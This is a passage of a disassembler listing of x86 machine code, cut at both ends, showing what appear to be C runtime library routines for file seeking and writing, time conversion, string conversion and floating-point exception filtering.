eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422350: ; CODE XREF: sub_4222C2+F5j push eax call sub_4224ED pop ecx pop ecx mov [edi], eax jmp loc_422467 ; --------------------------------------------------------------------------- loc_42235F: ; CODE XREF: sub_4222C2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4223B9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41CC90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_422467 mov eax, [edi] test eax, eax jz loc_422467 add esi, 8 push esi jmp short loc_422350 ; --------------------------------------------------------------------------- loc_4223B9: ; CODE XREF: sub_4222C2+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422401 call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push edi call sub_41CC90 add esp, 0Ch jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422401: ; CODE XREF: sub_4222C2+103j call sub_424770 pop ecx pop ecx test eax, eax jz short loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz short loc_422462 push dword ptr [esi+18h] call sub_4247A8 pop ecx test eax, eax jz short loc_422462 test byte ptr [esi], 4 jz short loc_422448 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C9 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422448: ; CODE XREF: sub_4222C2+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_4224ED pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41C8C2 jmp short loc_422467 ; --------------------------------------------------------------------------- loc_422462: ; CODE XREF: sub_4222C2+6Aj ; sub_4222C2+7Cj ... call sub_4225B2 loc_422467: ; CODE XREF: sub_4222C2+98j ; sub_4222C2+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_42246B: ; CODE XREF: sub_4222C2+2Ej ; sub_4222C2+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222C2 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422486 proc near ; CODE XREF: sub_421DB1+170p ; sub_422252+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427900 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_4224CD mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_4224CD and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41C8C2 or [ebp+var_4], 0FFFFFFFFh loc_4224CD: ; CODE XREF: sub_422486+2Aj ; sub_422486+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422486 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp ; sub_4222C2+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_42250E mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_42250E: ; CODE XREF: sub_4224ED+12j pop esi retn sub_4224ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422510 proc near ; CODE XREF: sub_41C955+40p ; sub_42205D+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41CC41 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42254F mov ecx, 2 loc_42254F: ; CODE XREF: sub_422510+38j push ecx call sub_41CC41 pop ebp pop ecx pop ebx leave retn 0Ch sub_422510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j ; sub_4220FB:loc_42210Cj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4DB328 test eax, eax jz short loc_4225A4 mov [ebp+var_4], 1 call eax jmp short loc_4225A0 ; --------------------------------------------------------------------------- loc_422599: ; DATA XREF: ___:00427920o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42259D: ; DATA XREF: ___:00427924o mov esp, [ebp+var_18] loc_4225A0: ; CODE XREF: sub_42255C+3Bj and [ebp+var_4], 0 loc_4225A4: ; CODE XREF: sub_42255C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4225AD: ; DATA XREF: ___:00427918o jmp loc_4247C0 sub_42255C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p ; sub_41CAF7:loc_41CB62p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43C8C4 test eax, eax jz short loc_4225FA mov [ebp+var_4], 1 call eax ; sub_42255C jmp short loc_4225F6 ; --------------------------------------------------------------------------- loc_4225EF: ; DATA XREF: ___:00427938o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4225F3: ; DATA XREF: ___:0042793Co mov esp, [ebp+var_18] loc_4225F6: ; CODE XREF: sub_4225B2+3Bj and [ebp+var_4], 0 loc_4225FA: ; CODE XREF: sub_4225B2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422603: ; DATA XREF: ___:00427930o jmp sub_42255C sub_4225B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422608 proc near ; CODE XREF: sub_41CFD3+7p ; sub_41CFD3+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4DC908 push esi cmp eax, 3 jnz short loc_422631 mov esi, [ebp+arg_0] push esi call sub_41DE77 test eax, eax pop ecx jz short loc_42262E mov eax, [esi-4] sub eax, 9 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_422608+1Cj push esi jmp short loc_422658 ; --------------------------------------------------------------------------- loc_422631: ; CODE XREF: sub_422608+Ej cmp eax, 2 jnz short loc_422655 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_422655 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_422666 ; --------------------------------------------------------------------------- loc_422655: ; CODE XREF: sub_422608+2Cj ; sub_422608+43j push [ebp+arg_0] loc_422658: ; CODE XREF: sub_422608+27j push 0 push dword_4DC904 nop call near ptr 2660000h loc_422666: ; CODE XREF: sub_422608+24j ; sub_422608+4Bj pop esi leave retn sub_422608 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422669 proc near ; CODE XREF: sub_41D081+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_422725 cmp ebx, 8Ah jg loc_422725 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43CD8C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4226A8 cmp edi, 2 jle short loc_4226A8 inc esi loc_4226A8: ; CODE XREF: sub_422669+37j ; sub_422669+3Cj call sub_4247D7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43CCA8 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_42271B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422721 cmp dword_43CCAC, 0 jz short loc_422721 lea eax, [ebp+var_24] push eax call sub_424A4A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422721 loc_42271B: ; CODE XREF: sub_422669+90j add ecx, dword_43CCB0 loc_422721: ; CODE XREF: sub_422669+96j ; sub_422669+9Fj ... mov eax, ecx jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422725: ; CODE XREF: sub_422669+13j ; sub_422669+1Fj or eax, 0FFFFFFFFh loc_422728: ; CODE XREF: sub_422669+BAj pop ebx leave retn sub_422669 endp ; =============== S U B R O U T I N E ======================================= sub_42272B proc near ; CODE XREF: ___:0041D253p ; sub_41F11C+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DC6C0 push esi push edi jnb short loc_4227AD mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4227AD push eax call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_42276F mov dword_4DB278, 9 jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42276F: ; CODE XREF: sub_42272B+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 2780000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42278F nop call near ptr 2680925h jmp short loc_422791 ; --------------------------------------------------------------------------- loc_42278F: ; CODE XREF: sub_42272B+5Aj xor eax, eax loc_422791: ; CODE XREF: sub_42272B+62j test eax, eax jz short loc_42279E push eax call sub_4203DF pop ecx jmp short loc_4227BE ; --------------------------------------------------------------------------- loc_42279E: ; CODE XREF: sub_42272B+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4227C1 ; --------------------------------------------------------------------------- loc_4227AD: ; CODE XREF: sub_42272B+Dj ; sub_42272B+2Aj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_4227BE: ; CODE XREF: sub_42272B+42j ; sub_42272B+71j or eax, 0FFFFFFFFh loc_4227C1: ; CODE XREF: sub_42272B+80j pop edi pop esi pop ebx retn sub_42272B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4227C5 proc near ; CODE XREF: ___:0041D216p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4227E1 mov [edi+4], ebx loc_4227E1: ; CODE XREF: sub_4227C5+17j push 1 push ebx push esi call sub_42272B add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_42284F mov edx, [edi+0Ch] test dx, 108h jnz short loc_422806 sub eax, [edi+4] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422806: ; CODE XREF: sub_4227C5+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422840 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DC5C0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_422857 mov edx, ecx loc_422831: ; CODE XREF: sub_4227C5+79j cmp edx, eax jnb short loc_422857 cmp byte ptr [edx], 0Ah jnz short loc_42283D inc [ebp+var_8] loc_42283D: ; CODE XREF: sub_4227C5+73j inc edx jmp short loc_422831 ; --------------------------------------------------------------------------- loc_422840: ; CODE XREF: sub_4227C5+50j test dl, 80h jnz short loc_422857 mov dword_4DB278, 16h loc_42284F: ; CODE XREF: sub_4227C5+2Dj or eax, 0FFFFFFFFh jmp loc_422918 ; --------------------------------------------------------------------------- loc_422857: ; CODE XREF: sub_4227C5+68j ; sub_4227C5+6Ej ... cmp [ebp+var_4], 0 jnz short loc_422865 mov eax, [ebp+var_8] jmp loc_422918 ; --------------------------------------------------------------------------- loc_422865: ; CODE XREF: sub_4227C5+96j test byte ptr [edi+0Ch], 1 jz loc_422910 mov edx, [edi+4] test edx, edx jnz short loc_42287E and [ebp+var_8], edx jmp loc_422910 ; --------------------------------------------------------------------------- loc_42287E: ; CODE XREF: sub_4227C5+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_42290A push 2 push 0 push [ebp+var_C] call sub_42272B add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4228D1 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4228BC: ; CODE XREF: sub_4227C5+104j cmp eax, ecx jnb short loc_4228CB cmp byte ptr [eax], 0Ah jnz short loc_4228C8 inc [ebp+arg_0] loc_4228C8: ; CODE XREF: sub_4227C5+FEj inc eax jmp short loc_4228BC ; --------------------------------------------------------------------------- loc_4228CB: ; CODE XREF: sub_4227C5+F9j test byte ptr [edi+0Dh], 20h jmp short loc_422905 ; --------------------------------------------------------------------------- loc_4228D1: ; CODE XREF: sub_4227C5+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_42272B mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_4228F8 mov ecx, [edi+0Ch] test cl, 8 jz short loc_4228F8 test ch, 4 jz short loc_4228FB loc_4228F8: ; CODE XREF: sub_4227C5+124j ; sub_4227C5+12Cj mov eax, [edi+18h] loc_4228FB: ; CODE XREF: sub_4227C5+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_422905: ; CODE XREF: sub_4227C5+10Aj jz short loc_42290A inc [ebp+arg_0] loc_42290A: ; CODE XREF: sub_4227C5+D9j ; sub_4227C5:loc_422905j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422910: ; CODE XREF: sub_4227C5+A4j ; sub_4227C5+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422918: ; CODE XREF: sub_4227C5+3Cj ; sub_4227C5+8Dj ... pop edi pop esi pop ebx leave retn sub_4227C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p ; sub_41DB8B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DC6C0 push esi push edi jnb loc_422AB1 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_422AB1 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_42296E loc_422967: ; CODE XREF: sub_42291D+177j xor eax, eax jmp loc_422AC5 ; --------------------------------------------------------------------------- loc_42296E: ; CODE XREF: sub_42291D+48j test al, 20h jz short loc_42297E push 2 push edi push ecx call sub_42272B add esp, 0Ch loc_42297E: ; CODE XREF: sub_42291D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422A4D mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_422A85 loc_42299E: ; CODE XREF: sub_42291D+F5j lea eax, [ebp+var_414] loc_4229A4: ; CODE XREF: sub_42291D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4229D8 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4229C3 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4229C3: ; CODE XREF: sub_42291D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4229A4 loc_4229D8: ; CODE XREF: sub_42291D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 26F0000h nop test eax, eax jz short loc_422A42 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_422A14 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42299E loc_422A14: ; CODE XREF: sub_42291D+EAj ; sub_42291D+12Ej xor edi, edi loc_422A16: ; CODE XREF: sub_42291D+150j ; sub_42291D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_422AAC cmp [ebp+arg_0], edi jz short loc_422A85 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422A7A mov dword_4DB278, 9 mov dword_4DB27C, eax jmp loc_422AC2 ; --------------------------------------------------------------------------- loc_422A42: ; CODE XREF: sub_42291D+E0j nop call near ptr 2680925h mov [ebp+arg_0], eax jmp short loc_422A14 ; --------------------------------------------------------------------------- loc_422A4D: ; CODE XREF: sub_42291D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 26F0000h test eax, eax jz short loc_422A6F mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A6F: ; CODE XREF: sub_42291D+145j nop call near ptr 2680925h mov [ebp+arg_0], eax jmp short loc_422A16 ; --------------------------------------------------------------------------- loc_422A7A: ; CODE XREF: sub_42291D+10Fj push [ebp+arg_0] call sub_4203DF pop ecx jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422A85: ; CODE XREF: sub_42291D+7Bj ; sub_42291D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_422A9A mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_422967 loc_422A9A: ; CODE XREF: sub_42291D+16Fj mov dword_4DB278, 1Ch mov dword_4DB27C, edi jmp short loc_422AC2 ; --------------------------------------------------------------------------- loc_422AAC: ; CODE XREF: sub_42291D+FEj sub eax, [ebp+var_10] jmp short loc_422AC5 ; --------------------------------------------------------------------------- loc_422AB1: ; CODE XREF: sub_42291D+15j ; sub_42291D+37j and dword_4DB27C, 0 mov dword_4DB278, 9 loc_422AC2: ; CODE XREF: sub_42291D+120j ; sub_42291D+166j ... or eax, 0FFFFFFFFh loc_422AC5: ; CODE XREF: sub_42291D+4Cj ; sub_42291D+192j pop edi pop esi pop ebx leave retn sub_42291D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p ; sub_41D5AA+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427948 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DB34C, edi jnz short loc_422B40 push edi push edi push 1 pop ebx push ebx push offset dword_427940 mov esi, 100h push esi push edi nop call near ptr 2650000h test eax, eax jz short loc_422B1E mov dword_4DB34C, ebx jmp short loc_422B40 ; --------------------------------------------------------------------------- loc_422B1E: ; CODE XREF: sub_422ACA+4Aj push edi push edi push ebx push offset dword_4CAE2C push esi push edi call near ptr 26513C8h nop test eax, eax jz loc_422C58 mov dword_4DB34C, 2 loc_422B40: ; CODE XREF: sub_422ACA+2Ej ; sub_422ACA+52j cmp [ebp+arg_C], edi jle short loc_422B55 push [ebp+arg_C] push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov [ebp+arg_C], eax loc_422B55: ; CODE XREF: sub_422ACA+79j mov eax, dword_4DB34C cmp eax, 2 jnz short loc_422B7C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 26513C8h jmp loc_422C5A ; --------------------------------------------------------------------------- loc_422B7C: ; CODE XREF: sub_422ACA+93j cmp eax, 1 jnz loc_422C58 cmp [ebp+arg_18], edi jnz short loc_422B92 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_422B92: ; CODE XREF: sub_422ACA+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call near ptr 2830000h nop mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422C58 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BED ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422BED: ; CODE XREF: sub_422ACA+10Ej cmp [ebp+var_24], edi jz short loc_422C58 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2830000h test eax, eax jz short loc_422C58 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422C58 test byte ptr [ebp+arg_4+1], 4 jz short loc_422C6C cmp [ebp+arg_14], edi jz loc_422CE7 cmp esi, [ebp+arg_14] jg short loc_422C58 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jnz loc_422CE7 loc_422C58: ; CODE XREF: sub_422ACA+66j ; sub_422ACA+B5j ... xor eax, eax loc_422C5A: ; CODE XREF: sub_422ACA+ADj ; sub_422ACA+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422C6C: ; CODE XREF: sub_422ACA+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422CA0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422CA0: ; CODE XREF: sub_422ACA+1C2j cmp ebx, edi jz short loc_422C58 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jz short loc_422C58 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422CC7 push edi push edi jmp short loc_422CCD ; --------------------------------------------------------------------------- loc_422CC7: ; CODE XREF: sub_422ACA+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422CCD: ; CODE XREF: sub_422ACA+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 28210C4h mov esi, eax cmp esi, edi jz loc_422C58 loc_422CE7: ; CODE XREF: sub_422ACA+165j ; sub_422ACA+188j mov eax, esi jmp loc_422C5A sub_422ACA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422E2F test eax, eax pop ecx jz loc_422E23 mov ebx, [eax+8] test ebx, ebx jz loc_422E23 cmp ebx, 5 jnz short loc_422D1F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422E2C ; --------------------------------------------------------------------------- loc_422D1F: ; CODE XREF: ___:00422D11j cmp ebx, 1 jz loc_422E1E mov ecx, dword_4DB350 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DB350, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422E0E mov ecx, dword_43C940 mov edx, dword_43C944 add edx, ecx push esi cmp ecx, edx jge short loc_422D6E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43C8D0h[esi*4] loc_422D65: ; CODE XREF: ___:00422D6Cj and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422D65 loc_422D6E: ; CODE XREF: ___:00422D57j mov eax, [eax] mov esi, dword_43C94C cmp eax, 0C000008Eh jnz short loc_422D89 mov dword_43C94C, 83h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D89: ; CODE XREF: ___:00422D7Bj cmp eax, 0C0000090h jnz short loc_422D9C mov dword_43C94C, 81h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422D9C: ; CODE XREF: ___:00422D8Ej cmp eax, 0C0000091h jnz short loc_422DAF mov dword_43C94C, 84h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DAF: ; CODE XREF: ___:00422DA1j cmp eax, 0C0000093h jnz short loc_422DC2 mov dword_43C94C, 85h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DC2: ; CODE XREF: ___:00422DB4j cmp eax, 0C000008Dh jnz short loc_422DD5 mov dword_43C94C, 82h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DD5: ; CODE XREF: ___:00422DC7j cmp eax, 0C000008Fh jnz short loc_422DE8 mov dword_43C94C, 86h jmp short loc_422DF9 ; --------------------------------------------------------------------------- loc_422DE8: ; CODE XREF: ___:00422DDAj cmp eax, 0C0000092h jnz short loc_422DF9 mov dword_43C94C, 8Ah loc_422DF9: ; CODE XREF: ___:00422D87j ; ___:00422D9Aj ... push dword_43C94C push 8 call ebx pop ecx mov dword_43C94C, esi pop ecx pop esi jmp short loc_422E16 ; --------------------------------------------------------------------------- loc_422E0E: ; CODE XREF: ___:00422D40j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422E16: ; CODE XREF: ___:00422E0Cj mov eax, [ebp+8] mov dword_4DB350, eax loc_422E1E: ; CODE XREF: ___:00422D22j or eax, 0FFFFFFFFh jmp short loc_422E2C ; --------------------------------------------------------------------------- loc_422E23: ; CODE XREF: ___:00422CFDj ; ___:00422D08j push dword ptr [ebp+0Ch] call near ptr 2640000h nop loc_422E2C: ; CODE XREF: ___:00422D1Aj ; ___:00422E21j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422E2F proc near ; CODE XREF: ___:00422CF5p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C948 cmp dword_43C8C8, edx push esi mov eax, offset dword_43C8C8 jz short loc_422E5C lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_422E51: ; CODE XREF: sub_422E2F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422E5C cmp [eax], edx jnz short loc_422E51 loc_422E5C: ; CODE XREF: sub_422E2F+16j ; sub_422E2F+27j lea ecx, 